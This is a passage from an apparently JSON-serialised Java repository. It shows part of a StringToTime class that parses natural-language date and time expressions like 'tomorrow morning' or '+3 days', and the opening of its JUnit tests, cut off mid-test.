Format(FormatType.LAST)),\n\n\t\t\t// compound statement\n\t\t\tnew PatternAndFormat(Pattern.compile(\"(.*) +(((\\\\+|\\\\-){1}.*)|\"\n\t\t\t\t\t+ timeExpr + \")$\", Pattern.CASE_INSENSITIVE), new Format(\n\t\t\t\t\tFormatType.COMPOUND))\n\n\t};\n\n\tprivate static class Format {\n\n\t\tprivate static Pattern unit = Pattern\n\t\t\t\t.compile(\"(\\\\d{1,}) +(s(ec(ond)?)?|mo(n(th)?)?|(hour|hr?)|d(ay)?|(w(eek)?|wk)|m(in(ute)?)?|(y(ear)?|yr))s?\");\n\n\t\tprivate static Pattern removeExtraSpaces = Pattern.compile(\" +\");\n\n\t\tprivate static Map<String, Integer> translateDayOfWeek = new HashMap<String, Integer>();\n\n\t\tstatic {\n\t\t\ttranslateDayOfWeek.put(\"sunday\", 1);\n\t\t\ttranslateDayOfWeek.put(\"sun\", 1);\n\t\t\ttranslateDayOfWeek.put(\"monday\", 2);\n\t\t\ttranslateDayOfWeek.put(\"mon\", 2);\n\t\t\ttranslateDayOfWeek.put(\"tuesday\", 3);\n\t\t\ttranslateDayOfWeek.put(\"tue\", 3);\n\t\t\ttranslateDayOfWeek.put(\"wednesday\", 4);\n\t\t\ttranslateDayOfWeek.put(\"wed\", 4);\n\t\t\ttranslateDayOfWeek.put(\"thursday\", 5);\n\t\t\ttranslateDayOfWeek.put(\"thu\", 5);\n\t\t\ttranslateDayOfWeek.put(\"friday\", 6);\n\t\t\ttranslateDayOfWeek.put(\"fri\", 6);\n\t\t\ttranslateDayOfWeek.put(\"saturday\", 7);\n\t\t\ttranslateDayOfWeek.put(\"sat\", 7);\n\t\t}\n\n\t\tprivate String sdf;\n\n\t\tprivate FormatType type;\n\n\t\tpublic Format(FormatType type) {\n\t\t\tthis.type = type;\n\t\t}\n\n\t\tpublic Format(String sdf) {\n\t\t\tthis.sdf = sdf;\n\t\t}\n\n\t\tpublic Date parse(String dateTimeString, Date now, Matcher m)\n\t\t\t\tthrows ParseException {\n\t\t\tif(sdf != null)\n\t\t\t\treturn new SimpleDateFormat(sdf).parse(dateTimeString);\n\t\t\telse {\n\t\t\t\tdateTimeString = removeExtraSpaces.matcher(dateTimeString)\n\t\t\t\t\t\t.replaceAll(\" \").toLowerCase();\n\n\t\t\t\ttry {\n\t\t\t\t\tCalendar cal = Calendar.getInstance();\n\t\t\t\t\tcal.setTime(now);\n\n\t\t\t\t\t// word expressions, e.g., \"now\" and \"today\" and \"tonight\"\n\t\t\t\t\tif(type == FormatType.WORD) {\n\t\t\t\t\t\tif(\"now\".equalsIgnoreCase(dateTimeString))\n\t\t\t\t\t\t\treturn (now != null ? now : new Date());\n\n\t\t\t\t\t\telse if(\"today\".equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.SECOND, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"morning\".equalsIgnoreCase(dateTimeString)\n\t\t\t\t\t\t\t\t|| \"this morning\"\n\t\t\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\t// by default, this morning begins at 07:00:00.000\n\t\t\t\t\t\t\tint thisMorningBeginsAt = Integer.parseInt(System\n\t\t\t\t\t\t\t\t\t.getProperty(StringToTime.class\n\t\t\t\t\t\t\t\t\t\t\t+ \".THIS_MORNING_BEGINS_AT\", \"7\"));\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, thisMorningBeginsAt);\n\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.SECOND, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"noon\".equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\t// noon is 12:00:00.000\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, 12);\n\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.SECOND, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"afternoon\".equalsIgnoreCase(dateTimeString)\n\t\t\t\t\t\t\t\t|| \"this afternoon\"\n\t\t\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\t// by default, this afternoon begins at 13:00:00.000\n\t\t\t\t\t\t\tint thisAfternoonBeginsAt = Integer\n\t\t\t\t\t\t\t\t\t.parseInt(System\n\t\t\t\t\t\t\t\t\t\t\t.getProperty(\n\t\t\t\t\t\t\t\t\t\t\t\t\tStringToTime.class\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t+ \".THIS_AFTERNOON_BEGINS_AT\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"13\"));\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, thisAfternoonBeginsAt);\n\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.SECOND, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"evening\".equalsIgnoreCase(dateTimeString)\n\t\t\t\t\t\t\t\t|| \"this evening\"\n\t\t\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\t// by default, this evening begins at 17:00:00.000\n\t\t\t\t\t\t\tint thisEveningBeginsAt = Integer.parseInt(System\n\t\t\t\t\t\t\t\t\t.getProperty(StringToTime.class\n\t\t\t\t\t\t\t\t\t\t\t+ \".THIS_EVENING_BEGINS_AT\", \"17\"));\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, thisEveningBeginsAt);\n\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.SECOND, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"tonight\".equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\t// by default, tonight begins at 20:00:00.000\n\t\t\t\t\t\t\tint tonightBeginsAt = Integer.parseInt(System\n\t\t\t\t\t\t\t\t\t.getProperty(StringToTime.class\n\t\t\t\t\t\t\t\t\t\t\t+ \".TONIGHT_BEGINS_AT\", \"20\"));\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, tonightBeginsAt);\n\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.SECOND, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"midnight\".equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(\n\t\t\t\t\t\t\t\t\tparseLong(\"00:00:00 +24 hours\", now));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"tomorrow\".equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"now +24 hours\", now));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"tomorrow morning\"\n\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"morning +24 hours\", now));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"tomorrow noon\"\n\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)\n\t\t\t\t\t\t\t\t|| \"noon tomorrow\"\n\t\t\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"noon +24 hours\", now));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"tomorrow afternoon\"\n\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"afternoon +24 hours\",\n\t\t\t\t\t\t\t\t\tnow));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"tomorrow evening\"\n\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"evening +24 hours\", now));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"tomorrow night\"\n\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"tonight +24 hours\", now));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"yesterday\".equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"now -24 hours\", now));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"yesterday morning\"\n\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"morning -24 hours\", now));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"yesterday noon\"\n\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)\n\t\t\t\t\t\t\t\t|| \"noon yesterday\"\n\t\t\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"noon -24 hours\", now));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"yesterday afternoon\"\n\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"afternoon -24 hours\",\n\t\t\t\t\t\t\t\t\tnow));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"yesterday evening\"\n\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"evening -24 hours\", now));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(\"yesterday night\"\n\t\t\t\t\t\t\t\t.equalsIgnoreCase(dateTimeString)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"tonight -24 hours\", now));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tthrow new ParseException(String.format(\n\t\t\t\t\t\t\t\t\t\"Unrecognized date word: %s\",\n\t\t\t\t\t\t\t\t\tdateTimeString), 0);\n\t\t\t\t\t}\n\n\t\t\t\t\t// time expressions, 24-hour and 12-hour\n\t\t\t\t\telse if(type == FormatType.TIME) {\n\t\t\t\t\t\t// An expression of time\n\t\t\t\t\t\t// (hour)(:(minute))?((:(second))(.(millisecond))?)?(\n\t\t\t\t\t\t// *(am?|pm?))?(RFC 822 time zone|general time zone)?\n\t\t\t\t\t\tString hour = m.group(1);\n\t\t\t\t\t\tString min = m.group(3);\n\t\t\t\t\t\tString sec = m.group(5);\n\t\t\t\t\t\tString ms = m.group(7);\n\t\t\t\t\t\tString amOrPm = m.group(8);\n\n\t\t\t\t\t\tif(hour != null) {\n\t\t\t\t\t\t\tif(amOrPm != null)\n\t\t\t\t\t\t\t\tcal.set(Calendar.HOUR, new Integer(hour));\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, new Integer(hour));\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR, 0);\n\n\t\t\t\t\t\tcal.set(Calendar.MINUTE,\n\t\t\t\t\t\t\t\t(min != null ? new Integer(min) : 0));\n\t\t\t\t\t\tcal.set(Calendar.SECOND,\n\t\t\t\t\t\t\t\t(sec != null ? new Integer(sec) : 0));\n\t\t\t\t\t\tcal.set(Calendar.MILLISECOND,\n\t\t\t\t\t\t\t\t(ms != null ? new Integer(ms) : 0));\n\n\t\t\t\t\t\tif(amOrPm != null)\n\t\t\t\t\t\t\tcal.set(Calendar.AM_PM,\n\t\t\t\t\t\t\t\t\t(amOrPm.equalsIgnoreCase(\"a\")\n\t\t\t\t\t\t\t\t\t\t\t|| amOrPm.equalsIgnoreCase(\"am\") ? Calendar.AM\n\t\t\t\t\t\t\t\t\t\t\t: Calendar.PM));\n\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\n\t\t\t\t\t// increments\n\t\t\t\t\telse if(type == FormatType.INCREMENT\n\t\t\t\t\t\t\t|| type == FormatType.DECREMENT) {\n\t\t\t\t\t\tMatcher units = unit.matcher(dateTimeString);\n\t\t\t\t\t\twhile (units.find()) {\n\t\t\t\t\t\t\tInteger val = new Integer(units.group(1))\n\t\t\t\t\t\t\t\t\t* (type == FormatType.DECREMENT ? -1 : 1);\n\t\t\t\t\t\t\tString u = units.group(2);\n\n\t\t\t\t\t\t\t// second\n\t\t\t\t\t\t\tif(\"s\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"sec\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"second\".equalsIgnoreCase(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.SECOND,\n\t\t\t\t\t\t\t\t\t\tcal.get(Calendar.SECOND) + val);\n\n\t\t\t\t\t\t\t// minute\n\t\t\t\t\t\t\telse if(\"m\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"min\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"minute\".equalsIgnoreCase(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.MINUTE,\n\t\t\t\t\t\t\t\t\t\tcal.get(Calendar.MINUTE) + val);\n\n\t\t\t\t\t\t\t// hour\n\t\t\t\t\t\t\telse if(\"h\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"hr\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"hour\".equalsIgnoreCase(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY,\n\t\t\t\t\t\t\t\t\t\tcal.get(Calendar.HOUR_OF_DAY) + val);\n\n\t\t\t\t\t\t\t// day\n\t\t\t\t\t\t\telse if(\"d\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"day\".equalsIgnoreCase(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.DATE, cal.get(Calendar.DATE)\n\t\t\t\t\t\t\t\t\t\t+ val);\n\n\t\t\t\t\t\t\t// week\n\t\t\t\t\t\t\telse if(\"w\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"wk\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"week\".equalsIgnoreCase(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.WEEK_OF_YEAR,\n\t\t\t\t\t\t\t\t\t\tcal.get(Calendar.WEEK_OF_YEAR) + val);\n\n\t\t\t\t\t\t\t// month\n\t\t\t\t\t\t\telse if(\"mo\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"mon\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"month\".equalsIgnoreCase(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.MONTH, cal.get(Calendar.MONTH)\n\t\t\t\t\t\t\t\t\t\t+ val);\n\n\t\t\t\t\t\t\t// year\n\t\t\t\t\t\t\telse if(\"y\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"yr\".equalsIgnoreCase(u)\n\t\t\t\t\t\t\t\t\t|| \"year\".equalsIgnoreCase(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.YEAR, cal.get(Calendar.YEAR)\n\t\t\t\t\t\t\t\t\t\t+ val);\n\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tthrow new IllegalArgumentException(\n\t\t\t\t\t\t\t\t\t\tString.format(\n\t\t\t\t\t\t\t\t\t\t\t\t\"Unrecognized %s unit: [%s]\",\n\t\t\t\t\t\t\t\t\t\t\t\ttype, u));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\n\t\t\t\t\t// compound expressions\n\t\t\t\t\telse if(type == FormatType.COMPOUND) {\n\t\t\t\t\t\treturn new Date(parseLong(m.group(2), new Date(\n\t\t\t\t\t\t\t\tparseLong(m.group(1), now))));\n\t\t\t\t\t}\n\n\t\t\t\t\t// month of the year\n\t\t\t\t\telse if(type == FormatType.MONTH) {\n\t\t\t\t\t\tCalendar ref = Calendar.getInstance();\n\t\t\t\t\t\tref.setTime(new SimpleDateFormat(\"MMM d, y\")\n\t\t\t\t\t\t\t\t.parse(String.format(\"%s 1, 1970\", m.group(1))));\n\t\t\t\t\t\tcal.set(Calendar.MONTH, ref.get(Calendar.MONTH));\n\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\n\t\t\t\t\t// day of week\n\t\t\t\t\telse if(type == FormatType.DAY_OF_WEEK) {\n\t\t\t\t\t\tInteger ref = translateDayOfWeek.get(dateTimeString);\n\t\t\t\t\t\tif(cal.get(Calendar.DAY_OF_WEEK) >= ref)\n\t\t\t\t\t\t\tcal.set(Calendar.WEEK_OF_YEAR,\n\t\t\t\t\t\t\t\t\tcal.get(Calendar.WEEK_OF_YEAR) + 1);\n\t\t\t\t\t\tcal.set(Calendar.DAY_OF_WEEK, ref);\n\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\n\t\t\t\t\t// month and day with slashes\n\t\t\t\t\telse if(type == FormatType.MONTH_AND_DATE_WITH_SLASHES) {\n\t\t\t\t\t\tCalendar ref = Calendar.getInstance();\n\t\t\t\t\t\tref.setTime(new SimpleDateFormat(\"M/d/y\").parse(String\n\t\t\t\t\t\t\t\t.format(\"%s/%s/1970\", m.group(1), m.group(3))));\n\t\t\t\t\t\tcal.set(Calendar.MONTH, ref.get(Calendar.MONTH));\n\t\t\t\t\t\tcal.set(Calendar.DATE, ref.get(Calendar.DATE));\n\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\n\t\t\t\t\t// month and day long-hand\n\t\t\t\t\telse if(type == FormatType.MONTH_AND_DATE) {\n\t\t\t\t\t\tCalendar ref = Calendar.getInstance();\n\t\t\t\t\t\tref.setTime(new SimpleDateFormat(\"MMM d, y\")\n\t\t\t\t\t\t\t\t.parse(String.format(\"%s %s, 1970\", m.group(1),\n\t\t\t\t\t\t\t\t\t\tm.group(2))));\n\t\t\t\t\t\tcal.set(Calendar.MONTH, ref.get(Calendar.MONTH));\n\t\t\t\t\t\tcal.set(Calendar.DATE, ref.get(Calendar.DATE));\n\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\n\t\t\t\t\t// next X\n\t\t\t\t\telse if(type == FormatType.NEXT) {\n\t\t\t\t\t\t// Format types MONTH and DAY_OF_WEEK both return future\n\t\t\t\t\t\t// dates, so no additional processing is needed\n\t\t\t\t\t\tString expr = m.group(1);\n\t\t\t\t\t\tParserResult parsed = StringToTime.getParserResult(\n\t\t\t\t\t\t\t\texpr, now);\n\n\t\t\t\t\t\tif(parsed != null\n\t\t\t\t\t\t\t\t&& (FormatType.MONTH.equals(parsed.type)\n\t\t\t\t\t\t\t\t\t\t|| FormatType.DAY_OF_WEEK\n\t\t\t\t\t\t\t\t\t\t\t\t.equals(parsed.type) || FormatType.MONTH_AND_DATE\n\t\t\t\t\t\t\t\t\t\t\t.equals(parsed.type)))\n\t\t\t\t\t\t\treturn new Date(parsed.timestamp);\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tif(\"week\".equalsIgnoreCase(expr))\n\t\t\t\t\t\t\t\tcal.set(Calendar.WEEK_OF_YEAR,\n\t\t\t\t\t\t\t\t\t\tcal.get(Calendar.WEEK_OF_YEAR) + 1);\n\t\t\t\t\t\t\telse if(\"month\".equalsIgnoreCase(expr))\n\t\t\t\t\t\t\t\tcal.set(Calendar.MONTH,\n\t\t\t\t\t\t\t\t\t\tcal.get(Calendar.MONTH) + 1);\n\t\t\t\t\t\t\telse if(\"year\".equalsIgnoreCase(expr))\n\t\t\t\t\t\t\t\tcal.set(Calendar.YEAR,\n\t\t\t\t\t\t\t\t\t\tcal.get(Calendar.YEAR) + 1);\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tthrow new IllegalArgumentException(\n\t\t\t\t\t\t\t\t\t\tString.format(\n\t\t\t\t\t\t\t\t\t\t\t\t\"Invalid expression of time: %s\",\n\t\t\t\t\t\t\t\t\t\t\t\tdateTimeString));\n\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// last X\n\t\t\t\t\telse if(type == FormatType.LAST) {\n\t\t\t\t\t\tString expr = m.group(1);\n\t\t\t\t\t\tParserResult parsed = StringToTime.getParserResult(\n\t\t\t\t\t\t\t\texpr, now);\n\n\t\t\t\t\t\tif(parsed != null\n\t\t\t\t\t\t\t\t&& (FormatType.MONTH.equals(parsed.type) || FormatType.MONTH_AND_DATE\n\t\t\t\t\t\t\t\t\t\t.equals(parsed.type))) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"-1 year\", new Date(\n\t\t\t\t\t\t\t\t\tparsed.timestamp)));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if(parsed != null\n\t\t\t\t\t\t\t\t&& FormatType.DAY_OF_WEEK.equals(parsed.type)) {\n\t\t\t\t\t\t\treturn new Date(parseLong(\"-1 week\", new Date(\n\t\t\t\t\t\t\t\t\tparsed.timestamp)));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tif(\"week\".equalsIgnoreCase(expr))\n\t\t\t\t\t\t\t\tcal.set(Calendar.WEEK_OF_YEAR,\n\t\t\t\t\t\t\t\t\t\tcal.get(Calendar.WEEK_OF_YEAR) - 1);\n\t\t\t\t\t\t\telse if(\"month\".equalsIgnoreCase(expr))\n\t\t\t\t\t\t\t\tcal.set(Calendar.MONTH,\n\t\t\t\t\t\t\t\t\t\tcal.get(Calendar.MONTH) - 1);\n\t\t\t\t\t\t\telse if(\"year\".equalsIgnoreCase(expr))\n\t\t\t\t\t\t\t\tcal.set(Calendar.YEAR,\n\t\t\t\t\t\t\t\t\t\tcal.get(Calendar.YEAR) - 1);\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tthrow new IllegalArgumentException(\n\t\t\t\t\t\t\t\t\t\tString.format(\n\t\t\t\t\t\t\t\t\t\t\t\t\"Invalid expression of time: %s\",\n\t\t\t\t\t\t\t\t\t\t\t\tdateTimeString));\n\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// year\n\t\t\t\t\telse if(type == FormatType.YEAR) {\n\t\t\t\t\t\tcal.set(Calendar.YEAR, new Integer(m.group(0)));\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\n\t\t\t\t\t// unimplemented format type\n\t\t\t\t\telse\n\t\t\t\t\t\tthrow new IllegalStateException(String.format(\n\t\t\t\t\t\t\t\t\"Unimplemented FormatType: %s\", type));\n\t\t\t\t}\n\t\t\t\tcatch (ParseException e) {\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\t\t\t\tcatch (IllegalStateException e) {\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\t\t\t\tcatch (IllegalArgumentException e) {\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\t\t\t\tcatch (Exception e) {\n\t\t\t\t\tthrow new RuntimeException(String.format(\n\t\t\t\t\t\t\t\"Unknown failure in string-to-time conversion: %s\",\n\t\t\t\t\t\t\te.getMessage()), e);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t@Override\n\t\tpublic String toString() {\n\t\t\tif(sdf != null)\n\t\t\t\treturn sdf;\n\t\t\telse\n\t\t\t\treturn type.toString();\n\t\t}\n\t}\n\n\tprivate enum FormatType {\n\t\tCOMPOUND,\n\t\tMONTH_AND_DATE_WITH_SLASHES,\n\t\tMONTH_AND_DATE,\n\t\tMONTH,\n\t\tDAY_OF_WEEK,\n\t\tNEXT,\n\t\tLAST,\n\t\tINCREMENT,\n\t\tDECREMENT,\n\t\tWORD,\n\t\tTIME,\n\t\tYEAR\n\t}\n\n\tprivate static class ParserResult {\n\t\tpublic FormatType type;\n\t\tpublic Long timestamp;\n\n\t\tpublic ParserResult(Long timestamp, FormatType type) {\n\t\t\tthis.timestamp = timestamp;\n\t\t\tthis.type = type;\n\t\t}\n\t}\n\n\tprivate static class PatternAndFormat {\n\t\tpublic Pattern p;\n\t\tpublic Format f;\n\n\t\tpublic PatternAndFormat(Pattern p, Format f) {\n\t\t\tthis.p = p;\n\t\t\tthis.f = f;\n\t\t}\n\n\t\tpublic Matcher matches(String dateTimeString) {\n\t\t\treturn p.matcher(dateTimeString);\n\t\t}\n\n\t\tpublic Long parse(String dateTimeString, Date now, Matcher m)\n\t\t\t\tthrows ParseException {\n\t\t\treturn f.parse(dateTimeString, now, m).getTime();\n\t\t}\n\t}\n\n}\n", "src/test/java/com/clutch/dates/StringToTimeTest.java": "package com.clutch.dates;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Date;\n\nimport org.junit.Assert;\nimport org.junit.Test;\n\npublic class StringToTimeTest {\n\n\t@Test\n\tpublic void testMySqlDateFormat() {\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.set(Calendar.MONTH, Calendar.OCTOBER);\n\t\tcal.set(Calendar.DATE, 26);\n\t\tcal.set(Calendar.YEAR, 1981);\n\t\tcal.set(Calendar.HOUR_OF_DAY, 15);\n\t\tcal.set(Calendar.MINUTE, 26);\n\t\tcal.set(Calendar.SECOND, 3);\n\t\tcal.set(Calendar.MILLISECOND, 435);\n\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"1981-10-26 15:26:03.435\").toDate());\n\t}\n\n\t/*\n\t * FIXME\n\t * \n\t * @Test public void testISO8601() {\n\t * Date now = new Date();\n\t * Calendar cal = Calendar.getInstance();\n\t * cal.setTime(now);\n\t * \n\t * cal.set(Calendar.MONTH, Calendar.OCTOBER);\n\t * cal.set(Calendar.DATE, 26);\n\t * cal.set(Calendar.YEAR, 1981);\n\t * cal.set(Calendar.HOUR_OF_DAY, 15);\n\t * cal.set(Calendar.MINUTE, 25);\n\t * cal.set(Calendar.SECOND, 2);\n\t * cal.set(Calendar.MILLISECOND, 435);\n\t * \n\t * Assert.assertEquals(new Date(cal.getTimeInMillis()), new\n\t * StringToTime(\"1981-10-26T15:26:03.435ZEST\", now).toDate());\n\t * }\n\t */\n\n\t@Test\n\tpublic void test1200Seconds() {\n\t\tDate now = new Date();\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\n\t\tcal.set(Calendar.SECOND, cal.get(Calendar.SECOND) + 1200);\n\t\tAssert.assertTrue(new Date(cal.getTimeInMillis()).equals(StringToTime\n\t\t\t\t.parseDateTime(\"+1200 s\", now).toDate()));\n\t\tAssert.assertFalse(new Date(cal.getTimeInMillis()).equals(StringToTime\n\t\t\t\t.parseDateTime(\"+1 s\", now).toDate()));\n\t}\n\n\t@Test\n\tpublic void testVariousExpressionsOfTimeOfDay() {\n\t\tDate now = new Date();\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\n\t\tcal.set(Calendar.HOUR_OF_DAY, 23);\n\t\tcal.set(Calendar.MINUTE, 59);\n\t\tcal.set(Calendar.SECOND, 59);\n\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"11:59:59 PM\", now).toDate());\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"23:59:59\", now).toDate());\n\n\t\tcal.set(Calendar.SECOND, 0);\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"23:59\", now).toDate());\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"11:59 PM\", now).toDate());\n\n\t\tcal.set(Calendar.MILLISECOND, 123);\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()),\n\t\t\t\tStringToTime.parseDateTime(\"23:59:00.123\"));\n\n\t\tcal.set(Calendar.MONTH, Calendar.OCTOBER);\n\t\tcal.set(Calendar.DATE, 26);\n\t\tcal.set(Calendar.YEAR, 1981);\n\t\tcal.set(Calendar.HOUR_OF_DAY, 